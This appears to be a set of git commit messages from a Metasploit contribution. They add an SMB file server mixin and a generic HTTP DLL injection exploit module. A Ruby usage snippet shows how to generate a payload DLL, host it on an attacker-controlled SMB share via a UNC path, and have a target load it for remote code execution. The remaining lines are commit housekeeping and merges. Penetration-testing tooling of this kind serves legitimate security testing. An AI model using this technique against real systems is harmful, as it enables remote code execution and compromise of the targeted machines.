Implement SMBFileServer mixin.

In order to accomplish remote file injection (e.g. DLL) this module
emulates an SMB service process to allow clients to load a file from a
network share.

This commit implements the SMBFileServer exploit module utilising the
::Rex::Proto::SMB::Server module to export the "start_smb_server"
function.

Utilising the module (example):
  include Msf::Exploit::Remote::SMBFileServer
  exe = generate_payload_dll
  @exe_file = rand_text_alpha(7) + ".dll"
  @share = rand_text_alpha(5)
  my_host = (datastore['SRVHOST'] == '0.0.0.0') ?
  Rex::Socket.source_address : datastore['SRVHOST']
  @unc = "\\\\#{my_host}\\#{@share}\\#{@exe_file}"
  start_smb_server(@unc, exe, @exe_file)
  // Inject DLL
  handle

A separate commit will provide a sample implementation of utilising this
module within a generic webserver DLL injection exploit:
  ./exploits/windows/http/generic_http_dllinject.rb
Generic HTTP DLL Injection Exploit Module

This is an example implementation of using the
Msf::Exploit::Remote::SMBFileServer module to perform
arbitrary DLL injection over SMB.
Drop these files for the rapid7 pull request
Delete these in prep of the rapid7 pull request
Whoops..
Merge branch 'module-exploitsmbfileserver'
Merge branch 'module-generic_http_dllinject'